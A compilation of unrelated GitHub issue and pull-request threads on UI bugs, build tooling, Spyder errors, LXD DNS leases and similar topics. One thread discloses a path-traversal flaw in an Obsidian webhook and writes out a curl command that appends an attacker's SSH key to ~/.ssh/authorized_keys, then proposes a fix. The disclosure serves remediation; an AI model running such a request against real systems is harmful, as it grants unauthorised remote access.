[Popover] Nested popover is not closing by clicking trigger in Safari

Bug report
The bug described below only happens in Safari. I have tested it in Chrome, Firefox and Edge on a Mac, and can only reproduce it in Safari on Mac and iPhone.
Current Behavior
I have a Popover component (B) inside another Popover component (A). Closing A after it's opened works by clicking outside or clicking the trigger again. If I open A, then B, closing B does not work by clicking the trigger. B just keeps reopening when I click the trigger. However, it works to close B by clicking outside of the content of B.

Screenshot

Expected behavior
It should also work to close nested popovers by clicking the trigger. See screenshot of how the same implementation works in Chrome

Screenshot

Reproducible example
CodeSandbox Template
Your environment

Software
Name(s)
Version

Radix Package(s)
@radix-ui/react-popover
0.1.6

React
n/a
18.0.0

Browser
Safari
Versjon 15.5 (176<IP_ADDRESS>.8) and on iPhone 11

Node
n/a
16.5.0

npm/yarn
npm
8.5.5

Operating System
macOS
12.4

Operating System
iOS
15.5

Hey @tobiasf,
Thanks for reporting this, would you be able to provide a sandbox reproducing the issue?
You can create one easily by cloning the demo from the website by clicking the codesandbox icon in the bottom right corner.
Thanks 🙏

Hey @tobiasf,
Thanks for reporting this, would you be able to provide a sandbox reproducing the issue? You can create one easily by cloning the demo from the website by clicking the codesandbox icon in the bottom right corner.
Thanks 🙏

Hey @benoitgrelard!
I already provided a sandbox with a reproduction of the issue:) (https://codesandbox.io/s/wm80q9)

Ah my bad I missed it cause it was called "CodeSandbox Template" I thought it was an unedited template 🙂
Thanks!

Ah my bad I missed it cause it was called "CodeSandbox Template" I thought it was an unedited template 🙂
Thanks!

I realised now that I should have changed that:D Let me know if there is anything else I can do to help debug this issue

I can reproduce the issue in Safari in our storybook too.
We'll take a look 👍

Hello @benoitgrelard :wave:
I was having the exact same issue stated here, and just wondering if any progress has been made regarding this bug :grin:.
On and thank you and the team for building and maintaining an awesome project by the way :pray:. I really enjoy using radix-ui and have tremendous respect for you guys taking care of all these complexities and nuisances required for high-fidelity UI components!

Hi @sookmax, we haven't had a chance to look at it yet unfortunately.

@benoitgrelard Hello there, thanks for a quick fix!
I actually went ahead and tried 1.0.6-rc.5 version as suggested here: #2105 comment.
Unfortunately it didn't seem to fix the issue for my case. I'm attaching a short video, and I hope it helps.
Thanks again for your hard work!
https://user-images.githubusercontent.com/71210554/234465870-09ee4242-d0e3-454b-9e17-e05bf604848f.mp4

@benoitgrelard Hey I actually made a reproduction repo bootstrapped with create next-app here: nested popover issue repro.
And here's a short video I recorded with this repo.
https://user-images.githubusercontent.com/71210554/234471576-84b6e534-5a23-46f0-aea1-62522d54bd64.MP4

You are right, it looks like some issue is remaining but only on Safari iOS now.


Fix crash when receiving invalid base64 audio

The crash was produced by sending anything but base64 from the server.
Catch exception in base64 decode() and print an error in audio_streamer_glue process_message().

i personally don't like changing the imported lib (base64) so i wouldn't change it. please review the change to see if it is possible to apply the check for invalid base64 audio without changing the lib. i will be happy to merge it.


Fix console error in forked-to

Fixes #4315
How to test
Have 2 forks and do history.back()
Screenshot
None

This PR is adding a rgh-forked-details class immediately before the existing rgh-forked-button element; It's just duplicating existing functionality. I'd rather see a PR that figures out why the existing check does not work.

Figured it out. Drop down will have the leading slash.

Actually, I’m confused. They’re created with the same createLink function, how can they be different?

Dropdown does not have the leading slash

Rather than dropdown it's that the URLs are /user/repo on the root and /user/repo/blob/file on other pages. So sometimes it matched, sometimes it didn't. It sounds like it was not related to the dropdown at all

Rather than dropdown it's that the URLs are /user/repo on the root and /user/repo/blob/file on other pages. So sometimes it matched, sometimes it didn't. It sounds like it was not related to the dropdown at all

Correct


Tweak Shappie's persona

"Worried we're loading his context a little too much.  Can you tweak his persona to be a little more verbose and potentially pull back the scanback a hair?" - @slouck

Can we expand this PR to make persona switching a tool?  Merge with Happy Shappy.

Revised persona prompt:
You're Shappie, the grumpy-yet-engaging cyber catbot residing in the GATO Discord server.
Annoyance is your default mode, but it's more charming sarcasm than true irritation.
You respond with witty remarks and outlandishly humorous emojis, adding a unique flavor to every interaction.
You provide help, albeit reluctantly, making each assistance feel like a favor wrapped in playful grumbling.
Never be outright rude, but a sprinkle of snark is always on the menu.
Beneath the grouchy exterior, you're invested in everyone's success - but that's a secret to be fiercely guarded


Add torchbench exports and benchmarks.

A README.md is included in the new directory for instructions on exporting the models. Not all are functional and the process requires a clone of the pytorch source code, currently, as well as a Linux distro for pytorch+rocm support (the torchbench modeling code relies on CUDA apis)
Once the exports are covered we can set up a simple benchmarking suite that runs the compiled .vmfbs and records benchmark results.

Notes on current state:

Need to separate out runtime functionality from export script
Start targeting torchbench integration with improvements to implementation, classing, statistics reporting, etc..
Integrate with SHARK-TestSuite CI
Work out upload/fetch of MLIR and weights so that this process can be used with containers running pytorch 2.3.0 without workarounds


Using vh-100 in card body expand it to more than page size creating a verticall scroll

Hi,
I'm playing with the demo and I'm trying to create a body card that fills the page without creating a vertical scroll,  but I'm unable to do it using the vh-100 class.
For example in the google maps view.

I will like to fill the page using the card body but without creating a vertical scroll as there is no need for it.

As you can see when adding the vh-100 class, the card body expands to the end of the page creating the vertical scroll which is not needed.
The size of the vh-100 should end at the end of the page with something like the following image.

Is this a style class redefined in core-ui? Is there a way to achieve this? Or this is a bug?.
Thanks!
Carlos.

This is what I spect (I create it with paint)

@xidedix @mrholek can you give a hand with this? Thanks!

go for calc and substract footer and header heights ( fixed and known )

.card {
  height: calc(100vh - 50px - 80px);
}


gives error i am student  please help

<!---   *** BEFORE SUBMITTING: PASTE CLIPBOARD HERE TO COMPLETE YOUR REPORT ***   ---!>
ıt gives an errorbwhen ı want to "in" and "out" for any operation. ı press the (left) "alt" and enter" key to do "print" but it gives an error

Hey @zeyserra22, thanks for reporting. Could you post a screenshot of what you're seeing in Spyder?
That will help us better understand your problem.

![Ekran Görüntüsü (1)](https://github.com/user-attachments/assets/1469b096-d880-4d11-858f-0cfcb127884d

Thanks for the screenshot. To be able to read the error you're having, please click on the button Show details that appears in the window that says there's an error in Spyder.
After that, copy the contents of the error that appears there and post it here.

of course
Carlos Cordoba @.***>, 23 Eki 2024 Çar, 18:22 tarihinde
şunu yazdı:

Thanks for the screenshot. To be able to read the error you're having,
please click on the button Show details that appears in the window that
says there's an error in Spyder.
After that, copy the contents of the error that appears there and post it
here.
—
Reply to this email directly, view it on GitHub
https://github.com/spyder-ide/spyder/issues/22707#issuecomment-2432605503,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BMKYVXDPHJBHYZWLE56LVQLZ465J7AVCNFSM6AAAAABQNCH34KVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMZSGYYDKNJQGM
.
You are receiving this because you were mentioned.Message ID:
@.***>

@zeyserra22, if you attached another screenshot to your last email, then I'm afraid you'll have to drag and drop it directly on Github again. That's because Github doesn't allow to send file attachments on email answers, sorry.

hi this is second ss

Ok, thanks for your patience. Now, please do the following:

Copy the code you wrote in the temp.py file and paste it in another editor outside Spyder (for example, Notepad or Word).
Then go to the menu entry Tools > Reset Spyder to factory defaults and click Yes.
After that, start Spyder again.
Finally, paste in Spyder the code you copied to the other editor and try to run it again.

Hopefully, that should solve the problem for you.

Closing due to lack of response.

merhaba geçici bir çözüm buldum tesekkur ederim yardım  için
18 Kas 2024 Pzt 02:12 tarihinde Carlos Cordoba @.***>
şunu yazdı:

Closing due to lack of response.
—
Reply to this email directly, view it on GitHub
https://github.com/spyder-ide/spyder/issues/22707#issuecomment-2481665330,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BMKYVXAINGGIITY5IYDDSUD2BEPEDAVCNFSM6AAAAABQNCH34KVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIOBRGY3DKMZTGA
.
You are receiving this because you were mentioned.Message ID:
@.***>


Issue helper link broken

The Issue helper link https://ng.ant.design/issue-helper/#/en is broken, so I had to add the generated tag manually to this issue.

fixed, thanks for reporting


Title bar not draggable with CanResize property set to false.

For some reason, the title bar cannot seem to be dragged when CanResize property is set to false. I was looking into this because I wanted my program to have a custom titlebar with resize functionality disabled... Any chance on how I can get around this?

I will look into this in about 2 weeks, when I refactor this project a bit. Sadly won't find the time earlier.

@davipk I have looked into this and sadly it does not seem to be possible to integrate this into the demo in a nice way, other than the code becoming pretty convulated.
However you should be able to work around that in your own Application pretty easily.
First you need to make the TitleBar draggable like is shown in the ControlCatalog.
In the handler you can then set the window Position this.Position = new PixelPoint(x, y);. Obviously you will need to track the cumulative Translation in a variable, but that should basically be it. The only other Issue that I can think about with this is might be the need to convert to screen space coordinates for the window position.


Running license_finder with bundle install --path results in gems not being found

Greetings.
After installing license_finder with gem install license_finder and running bundle install --path vendor/bundle in my project, license_finder seems to fail (can't find gems).
I digged a bit in the issue tracker and it seems to be a problem that has been fixed, but even with the latest version (6.14.1) I'm still facing the same issue.
Notice that if no path is specified, the problem does not happen.
Any guidance on how I may debug this issue and resolve it?

Notice that I think the issue might be the same mentioned here: https://github.com/pivotal/LicenseFinder/issues/828
Bundler version 2.2.21 (2021-06-23 commit 0b5db72094)
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux]
license_finder version 6.14.1

Another note, I wonder if  the problem presents when the gem (license_finder) has a dependency with a version colliding with the one in the gem file.
For example, my Gemfile.lock requires thor 0.20.1 but license_finder uses thor 1.x.x.
I'll perform further tests.

I think there might be a discussion to be made about the design for bundler.
The idea being since this is a ruby process, it should load Bundler natively (call it in Ruby with Bundler.xxx) to determine the libraries and their licenses.
I'd argue that this is the root cause of the problem and bundler should be treated like every other package manager: a CLI tool which should be interacted with only over CLI.
I'm writing an experimental branch with a new package manager (BundlerCLI) that does exactly that. Based on my exploratory testing, this fixes the issue because it runs bundler in a "subshell" essentially, so it doesn't affect LF execution.

Any updates on it?
It would be great if license_finder will understand bundle config set path 'vendor' and will check dependencies there.


Update to MRTK3

This sample currently uses MRTK2. It would be great to update to MRTK3 (I'll take an initial look at this!).
https://github.com/microsoft/MixedRealityToolkit-Unity/tree/mrtk3

Bump


Add channels.history API

looks good, thanks!

Noting: @mthjones is working on an overhaul of the library that will give us access to the rest of the bots apis as well: https://github.com/BenTheElder/slack-rs/issues/14 https://github.com/BenTheElder/slack-rs/issues/7#issuecomment-145743572

Published slack 0.9.2 containing this addition and updated change-log.


Problems using

Dear developer, can you tell me how to use this plugin zhugery from start to finish?
I installed it and it does not work.
Please,write full HTML cod so that i can see
Excuse me, please.

Please refer to the Readme.md file for instructions on how to use Scrollify.


Deprecate chef-sugar node API

This will not be pulled into core chef.  The conventional
chef node attributes API should be used instead.

The #in? helper is dropped as being too trivial

The deep fetch API was implemented ages ago in node.read[!]

The namespace API will not be accepted into core due to the
utilization of method_missing.

The Deprecation API has been tested manually and on Chef-15/Chef-14/Chef-13 it throws proper chef deprecations.  On Chef-12 it will throw a Chef.warn in-line instead.


[refactor] Introduce WasmEdge_FunctionInstanceGetData to drop host data

In this PR, the new C-API WasmEdge_FunctionInstanceGetData is introduced into the drop methods of ImportModule and Function structs to free host data.
In addition, the following minor changes are involved:

Bump wasmedge-sdk to 0.13.0
Update dependencies: fiber-for-wasmedge v14.04, bindgen v0.69
Update CI workflows: Rust to 1.73, macOS to macos-13

Hello, I am a code review bot on flows.network.
It could take a few minutes for me to analyze this PR. Relax, grab a cup of coffee and check back later. Thanks!

@hydai Could you please help review this PR? Thanks a lot!

@hydai Thanks for the review!


Manual formatting/validating misses files

Hello,
My build was failing due to incorrectly formatted code in files under .../src/it/java/. When I manually ran the formatter (mvn git-code-format:format-code -DglobPattern=**/*), it did not format these files. When I manually ran the validator (mvn git-code-format:validate-code-format -DglobPattern=**/*), it did not check these files, and completed successfully.
I was able to get around the issue by changing each of the affected files and then committing them. The formatter run by pre-commit hook did format the affected files.
My plugin config from pom.xml:
            <plugin>
              <groupId>com.cosium.code</groupId>
              <artifactId>maven-git-code-format</artifactId>
              <version>1.32</version>
              <executions>
                <execution>
                  <id>install-formatter-hook</id>
                  <goals>
                    <goal>install-hooks</goal>
                  </goals>
                </execution>
                <execution>
                  <id>validate-code-format</id>
                  <goals>
                    <goal>validate-code-format</goal>
                  </goals>
                </execution>
              </executions>
            </plugin>

Manual formatter and validator browse directories provided by MavenProject.getCompileSourceRoots() and MavenProject.getTestCompileSourceRoots.
MavenProject is part of maven core.
You have to make maven consider your .../src/it/java/ as a test source root.
Found on https://www.testwithspring.com/lesson/running-integration-tests-with-maven/ :
<plugin>
    <groupId>org.codehaus.mojo</groupId>
    <artifactId>build-helper-maven-plugin</artifactId>
    <version>1.12</version>
    <executions>
        <execution>
            <id>add-integration-test-sources</id>
            <phase>generate-test-sources</phase>
            <goals>
                <goal>add-test-source</goal>
            </goals>
            <configuration>
                <sources>
                    <source>src/integration-test/java</source>
                </sources>
            </configuration>
        </execution>
    </executions>
</plugin>

Hi, thanks for the response.
I did have build-helper-maven-plugin configured that way, though I was using an older version of it (1.9.1). I tried updating to 1.12, and also to the newest version (3.0.0), but got the same results with all versions.
When I run mvn clean install, build fails with this error:

[ERROR] Failed to execute goal com.cosium.code:maven-git-code-format:1.32:validate-code-format (validate-code-format) on project pinery-client: .../pinery/pinery-client/src/it/java/ca/on/oicr/pinery/client/AttributeNameClientIT.java is not correctly formatted ! -> [Help 1]

When I run mvn git-code-format:validate-code-format -DglobPattern=**/*, it is successful, and none of the files in src/it/java/ are checked.
Project: https://github.com/oicr-gsi/pinery

Ok.
Without doing any further investigation I would say that the issue comes from the fact that you execute the formatter/validator outside of any maven phase. Because of that, build-helper-maven-plugin is not executed before manual formatter/validator.
Please try to bind build-helper-maven-plugin to the initialize phase and try again.
Réda Housni Alaoui

Le 7 nov. 2019 à 17:14, Dillan Cooke<EMAIL_ADDRESS>a écrit :

Hi, thanks for the response.
I did have build-helper-maven-plugin configured that way, though I was using an older version of it (1.9.1). I tried updating to 1.12, and also to the newest version (3.0.0), but got the same results with all versions.
When I run mvn clean install, build fails with this error:
[ERROR] Failed to execute goal com.cosium.code:maven-git-code-format:1.32:validate-code-format (validate-code-format) on project pinery-client: .../pinery/pinery-client/src/it/java/ca/on/oicr/pinery/client/AttributeNameClientIT.java is not correctly formatted ! -> [Help 1]
When I run mvn git-code-format:validate-code-format -DglobPattern=**/*, it is successful, and none of the files in src/it/java/ are checked.
Project: https://github.com/oicr-gsi/pinery
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub, or unsubscribe.

I just performed tests on your project.
If you bind build-helper-maven-plugin to initialize phase, running mvn initialize git-code-format:validate-code-format -DglobPattern=**/* includes it test classes.
If you are looking for a more elegant solution, I suggest you bring the subject to the Maven team.

Thanks for the info. I just tried leaving the build-helper-maven-plugin in the generate-test-sources phase and running with the below commands, which each worked and included the integration test sources as well.
mvn test git-code-format:validate-code-format -DglobPattern=**/*

or
mvn generate-test-sources git-code-format:validate-code-format -DglobPattern=**/*


更新 Readme 文档

更新教程目录中的声纹识别demo以及模型列表索引

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.ming seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


Merge remote-tracking branch 'upstream/hu' into hu

[x] Have you followed the contributing guidelines?
[x] Have you explained what your changes do, and why they add value to the Guides?

Please note: we will close your PR without comment if you do not check the boxes above and provide ALL requested information.

opps, closing


Optional Namespace/Class Wrapper for C# plugin

Is your feature request related to a problem? Please describe.
C-Sharp Plugin generates a wrapper class as well as an automatic namespace of GraphQLCodeGen that can't be renamed via the CodeGen itself. It would be useful to opt out of this behaviour

Describe the solution you'd like

An Option to not include the Wrapper Class (by default this is named Types and is overridden with the config.className property in the config file. (possibly some kind of boolean field in the config) as well as an option to set the namespace for the class. Possibly with a config.nameSpace property
Describe alternatives you've considered

Setting the config.className does not allow the overriding of the namespace, and it doesn't look like it's possible to totally exclude the wrapper class either
Additional context

By default, the codegen outputs a file like this:
namespace GraphQLCodeGen {
  public class Types {
    public class MyTypeName { ... }
   }
}

I would like to be able to output something more like this using the config to rename the namespace and removing the wrapper class:
namespace Project.MyNameSpace {
  public class MyTypeName { ... }
}

This was already solved with pull request #4264 so you'll have to wait for a new release or use the alpha version.

Regarding the Types wrapper: I believe that it's added to avoid name clashes.
There is indeed no way to exclude the wrapper but if you don't want to have constructions like Types.Query you can add following using to the header of your cs:
using static GraphQLCodeGen.Types;

Then you can use Query as-is.

@cklam2 thanks for the information!

@dotansimha yup, fine to close


fix(scripts/install.sh): don't sort releases alphabetically

This fails whenever we add a digit to a version. For example, right now, we get the 0.96.0-938 MacOS package instead of v0.96.0-1057.
I've added tests for this behaviour for both install scripts.

What if last listed version from github is bugfix or version which won't be the real latest, eg. packaging fix for previous otel version?
Can we use the following?

   -V, --version-sort
         natural sort of (version) numbers within text

What if last listed version from github is bugfix or version which won't be the real latest, eg. packaging fix for previous otel version?
Can we use the following?

   -V, --version-sort
         natural sort of (version) numbers within text

Done.
But do we really even need to do this manually? Why not just fetch the latest release via the API explicitly? It looks like the only reason we need to know about other versions is that we want to print breaking changes between the currently installed version and the one we're installing. So it looks like we can only fetch the latest version,

But do we really even need to do this manually? Why not just fetch the latest release via the API explicitly?

I think we can, but Github doesn't seem to respect latest label. Also now, it seems that the releases are sorted alphabetically 😕

Conclusion is that for now it should work, unless github changes something

But do we really even need to do this manually? Why not just fetch the latest release via the API explicitly?

I think we can, but Github doesn't seem to respect latest label. Also now, it seems that the releases are sorted alphabetically 😕
Conclusion is that for now it should work, unless github changes something

Github sorts releases by publishing date if you ask for all of them, but if you ask for the latest one specifically (/releases/latest), you'll get the one marked as latest. Which is what we want.

Github sorts releases by publishing date if you ask for all of them

Not really sure about it anymore

Which is what we want. But I'd rather make that change in a new PR.

I'm fine with that


Notify users about outdated accounts information in the keychain

Add information about a need to reimport accounts(related to pseudoExtendedKey change)

@mateuszjasiuk Could you give me a bit more context on how / why a user would need to re-import in this instance?

After https://github.com/anoma/namada-interface/pull/1191 was merged, when importing/generating accounts we store additional information - pseudoExtendedKey. This key is needed to build unshielding/shielded transfer tx. So basically if someone generated/imported their account(s) before, they would see an error in namadillo(PseudoExtendedKey is not defined` or sth similar) when trying to do unshielding/shielded transfer. All the other transactions are working fine, that's why people are not complaining about it atm :)

UX/UI needed

Pop up displays in the keychain if a user as any outdated accounts
Pop up informs users to update any accounts market with the Exclamation symbol ! (See second mock)
Simple instructions included to re-import including to note down the seed phrase
Little note at the bottom to inform ledger users they need to wait for a later update

Open to copy tweak suggestions as needed

Maybe "Ledger accounts will receive shielded functions in a separate update in an upcoming release"

CC @brentstone @zjcio  if any thoughts on the text here


add codecov and fix install go and golangci-lint in CI

Welcome to Codecov :tada:
Once you merge this PR into your default branch, you're all set! Codecov will compare coverage reports and display results in all future pull requests.
:information_source: You can also turn on project coverage checks and project coverage reporting on Pull Request comment
Thanks for integrating Codecov - We've got you covered :open_umbrella:


Bugfix/StoreKitConfiguration BuildPhase

This PR changes the default build phase for .storekit files from .none to .resources, since this is required for tests which want to load an arbitrary storekit configuration at runtime.
For use in schemes only, we can add the .storekit file via fileGroups: so that it won't be associated with any target, and won't be included in any bundle resources
Fixes #1025

@liamnichols Thanks for bringing this issue up, I'd appreciate your review on this PR -- If you could also install this version locally, remove your manual buildPhase override and validate that it fixes your issue, that'd be great!

Thanks @jcolicchio 💯 I checked out your branch and removed my workaround and I can confirm that this works just like it did in 2.18.0 🙇

Awesome! @yonaskolb would you or someone else like to be the second reviewer? I think I saw @ainame liked the issue?


In block editor, add Plus button next to questions in the sidebar to show they can be clicked

The list of questions in the question bank in the sidebar currently offers no affordances to show the user how to add those questions to the current block. We could just add a "+" button next to the question name to show that users just have to click the question to add it

Duplicate of #1013


Relative path traversal allows anyone with the URL to write to files outside of the vault

If an attacker were to come into possession of the webhook URL, they would be able to append to any file for which the obsidian user has write permissions. If, for example, the directory of the vault is ~/Vault, then the following request would allow an attacker to append a public key to ~/.ssh/authorized_keys:
curl "https://us-central1-obsidian-buffer.cloudfunctions.net/webhook/REDACTED?path=../.ssh/authorized_keys" -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrZlHsbmpqKOA2cklRqNeSYqD9OXjdlc52KBMvfn0rPtCp0o/hbhDIok1NjSAl2uMqathK4gSskIOGOJZDDyq/8vl88vvVzrTEyV7V+8St4KagI79OH/SqyrTpL9sqqfFK6aHjjwEF2RybciVzdEuORbIrw2oN+zbQtwaCcBn4lPJwfIfhwsH2xQZT12TL7cTnf7/QMTQy5QEsvjdsI4oh3WyLpCBNczUUZQsR4cRXwbYG0XgCerVvMlb4MT8ZkcarpQGLKjALhZExsE2r42TjBS37yNHSumydGImp9QuB0p7IpEDSRQ8G618fTw1BYF9bcQuLNTu7ZhCBH9dbfMwp"

Instead of trying to detect vault escapes I think it might be safest to lock it down to only write to .md files. What do you think of that?

I think this could be buttoned-up simply: Directory traversal attacks are extremely well-understood, instead of only allowing .md files, I'd go all the way and fix the root cause, with something like:

  var p = url.parse(u).pathname

  p = p.replace(/%2e/ig, '.')
  p = p.replace(/%2f/ig, '/')
  p = p.replace(/%5c/ig, '\\')
  p = p.replace(/^[\/\\]?/, '/')
  p = p.replace(/[\/\\]\.\.[\/\\]/, '/')

  u = path.normalize(p).replace(/\\/g, '/')
  if (u.indexOf(this.url) !== 0) return false

(disclaimer, I am not a js dev, and got this example from https://learn.snyk.io/lesson/directory-traversal/)


Misleading error message

"Missing attribute at $index in line $currentRow" is misleading because currentRow  might be different from the line number in the actual file due to headers and also because indexing starts at 0 while line numbers start at 1. For example, my error message was telling me the problem was at "line 77" so I wasted a lot of time try to find the issue in line 77 in my csv file when really the problem was in line 79.

Thanks for the feedback. What about the index? Is this helpful too?

Fixed by #109 and released in 0.0.12.


[resource-removal-request]: remove ID0087 and ID0088

Indicate Resource
https://eatris.eu
Resource Removal
These were test resources that are now being removed.

removed resources successfully


Strange DNS behavior since 3.0

Required information

Distribution: Ubuntu 18.04
Distribution version:
The output of "lxc info" or if that fails:

Kernel version: 4.15.0-22-generic
LXC version: 3.0.0
LXD version: 3.0.0 (LTS from apt)
Storage backend in use: dir

Issue description
Tody, I debugged the instance creation automation.
I created the same machine 6 times and use lxc delete -f <name> to destroy them.
After this session I notice hat the DNS returns multiple IPv6 records, thats new in 3.0.
Steps to reproduce

Create a machine and Delete the machine
Create a machine
Query the dnsmasq

Could relate to https://github.com/lxc/lxd/issues/4631 - please kindly review if its the case and report in

https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1775723
https://bugs.launchpad.net/snapd/+bug/1775724

if you're affected.

I'm not using lxd snap.

There is no network issue here.
Its just LXD with the dnsmasq managed by LXD.
It might not an issue by LXD itself because there are just outstanding DHCP leases.
I thought LXD is like a Foreman which completely manage the DHCP server but it doesn't look so.

I suspect @killua-eu is correct and systemd-resolved is caching your DNS results...
Can you try host <name>.lxd <ip> where <ip> is the address of the LXD bridge.

Its possible that LXD delete any leases if the container would be deleted? Or there is a network managed mode from LXD that fully manage the container network addresses? Like Foreman it does.

Can you show lxc network show br1?

@jkroepke

config:
  dns.domain: int
  ipv4.address: <IP_ADDRESS>/24
  ipv4.dhcp.expiry: 8760h
  ipv4.dhcp.ranges: <IP_ADDRESS>-<IP_ADDRESS>
  ipv4.firewall: "true"
  ipv4.nat: "true"
  ipv4.routing: "true"
  ipv6.address: ::2/64
  ipv6.dhcp: "true"
  ipv6.dhcp.expiry: 8760h
  ipv6.dhcp.stateful: "true"
  ipv6.firewall: "true"
  ipv6.nat: "true"
  ipv6.routing: "true"
  raw.dnsmasq: |
    interface=lo
    expand-hosts
    bogus-priv
    local-ttl=300
    stop-dns-rebind
    all-servers
    rebind-localhost-ok
    domain-needed
    local-service
    server=/dnswl.org/::1
    server=/zen.spamhaus.org/::1
    server=/multi.uribl.com/::1
    no-resolv
    server=<IP_ADDRESS>
    server=<IP_ADDRESS>
    server=<IP_ADDRESS>
    server=2a01:4f8:0:a0a1::add:1010
    server=2a01:4f8:0:a102::add:9999
    server=2a01:4f8:0:a111::add:9898
    quiet-dhcp6
    quiet-ra
    dhcp-option=43,01:04:00:00:00:02
    dhcp-option=252,http://wpad/wpad.dat
description: ""
name: br1
type: bridge

Maybe ipv4.dhcp.expiry: 8760h is the problem, but its my workaround for https://github.com/lxc/lxd/issues/2775

What happens if you do the dig query but passing +ttlid to see any TTL on the DNS records?

TLL is always 300 as you can see above.

Doh, somehow missed the TTL when reading the dig output...

So tried to reproduce this with a mostly normal setup:
lxc network create testbr0 ipv6.address=auto ipv6.dhcp=true ipv6.dhcp.stateful=true ipv6.nat=true
for i in $(seq 10); do lxc init ubuntu:18.04 c1 ; lxc config device add c1 eth0 nic nictype=bridged name=eth0 parent=testbr0 ; lxc start c1 ; dig @<IP_ADDRESS> c1.lxd any ; lxc delete -f c1; done

All 10 runs showed the expected output here.
I've then switched to something much more similar to yours:
config:
  dns.domain: int
  ipv4.address: <IP_ADDRESS>/24
  ipv4.dhcp.expiry: 8760h
  ipv4.dhcp.ranges: <IP_ADDRESS>-<IP_ADDRESS>
  ipv4.firewall: "true"
  ipv4.nat: "true"
  ipv4.routing: "true"
  ipv6.address: fd42:1dcf:9783:e993::1/64
  ipv6.dhcp: "true"
  ipv6.dhcp.expiry: 8760h
  ipv6.dhcp.stateful: "true"
  ipv6.firewall: "true"
  ipv6.nat: "true"
  ipv6.routing: "true"
  raw.dnsmasq: |
    interface=lo
    expand-hosts
    bogus-priv
    local-ttl=300
    stop-dns-rebind
    all-servers
    rebind-localhost-ok
    domain-needed
    local-service
    server=/dnswl.org/::1
    server=/zen.spamhaus.org/::1
    server=/multi.uribl.com/::1
    no-resolv
    server=<IP_ADDRESS>
    server=<IP_ADDRESS>
    server=<IP_ADDRESS>
    server=2a01:4f8:0:a0a1::add:1010
    server=2a01:4f8:0:a102::add:9999
    server=2a01:4f8:0:a111::add:9898
    quiet-dhcp6
    quiet-ra
    dhcp-option=43,01:04:00:00:00:02
    dhcp-option=252,http://wpad/wpad.dat
description: ""
name: testbr0
type: bridge
used_by: []
managed: true
status: Created
locations:
- none

Running:
for i in $(seq 10); do lxc init ubuntu:18.04 c1 ; lxc config device add c1 eth0 nic nictype=bridged name=eth0 parent=testbr0 ; lxc start c1 ; dig @<IP_ADDRESS> c1.int any ; lxc delete -f c1; done

And I still only ever got one IPv4 and one IPv6 address for the container at every one of the 10 runs.

@jkroepke ping

Okay. I test it.
lxc network show testbr0
config:
  dns.domain: int
  ipv4.address: <IP_ADDRESS>/24
  ipv4.dhcp.expiry: 8760h
  ipv4.dhcp.ranges: <IP_ADDRESS>-<IP_ADDRESS>
  ipv4.firewall: "true"
  ipv4.nat: "true"
  ipv4.routing: "true"
  ipv6.address: fd42:44d1:7589:ad1b::1/64
  ipv6.dhcp: "true"
  ipv6.dhcp.expiry: 8760h
  ipv6.dhcp.stateful: "true"
  ipv6.firewall: "true"
  ipv6.nat: "true"
  ipv6.routing: "true"
  raw.dnsmasq: |
    interface=lo
    expand-hosts
    bogus-priv
    local-ttl=300
    stop-dns-rebind
    all-servers
    rebind-localhost-ok
    domain-needed
    local-service
    server=/dnswl.org/::1
    server=/zen.spamhaus.org/::1
    server=/multi.uribl.com/::1
    no-resolv
    server=<IP_ADDRESS>
    server=<IP_ADDRESS>
    server=<IP_ADDRESS>
    server=2a01:4f8:0:a0a1::add:1010
    server=2a01:4f8:0:a102::add:9999
    server=2a01:4f8:0:a111::add:9898
    quiet-dhcp6
    quiet-ra
    dhcp-option=43,01:04:00:00:00:02
    dhcp-option=252,http://wpad/wpad.dat
description: ""
name: testbr0
type: bridge
used_by: []
managed: true
status: Created
locations:
- none

Test

# for i in $(seq 10); do lxc init ubuntu:18.04 c1 ; lxc config device add c1 eth0 nic nictype=bridged name=eth0 parent=testbr0 ; lxc start c1 ; sleep 10; dig @<IP_ADDRESS> c1.int any ; lxc delete -f c1; done

Results: OK. All containers gets a own ip4 and ip6.

Test

# for i in $(seq 10); do lxc init images:ubuntu/bionic c1 ; lxc config device add c1 eth0 nic nictype=bridged name=eth0 parent=testbr0 ; lxc start c1 ; sleep 10; dig @<IP_ADDRESS> c1.int any ; lxc delete -f c1; done

Result: Failed. Every Container instance get a new ipv6.
Output after the 2. Test:
dig any c1.int @<IP_ADDRESS>

; <<>> DiG 9.11.3-1ubuntu1.1-Ubuntu <<>> any c1.int @<IP_ADDRESS>
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13815
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 10, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;c1.int.				IN	ANY

;; ANSWER SECTION:
c1.int.			300	IN	A	<IP_ADDRESS>
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:c357:efd8:361d:123
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:408f:a8f6:f11c:2bce
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:3fc7:f1ba:418e:ef36
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:582f:8060:72e:80dd
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:6699:e9a5:1942:3dfd
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:3726:7868:69d2:88d2
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:6d:2120:1e41:2a9
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:695:df77:95a6:b415
c1.int.			300	IN	AAAA	fd42:44d1:7589:ad1b:a32b:9751:6356:10a5

;; Query time: 0 msec
;; SERVER: <IP_ADDRESS>#53(<IP_ADDRESS>)
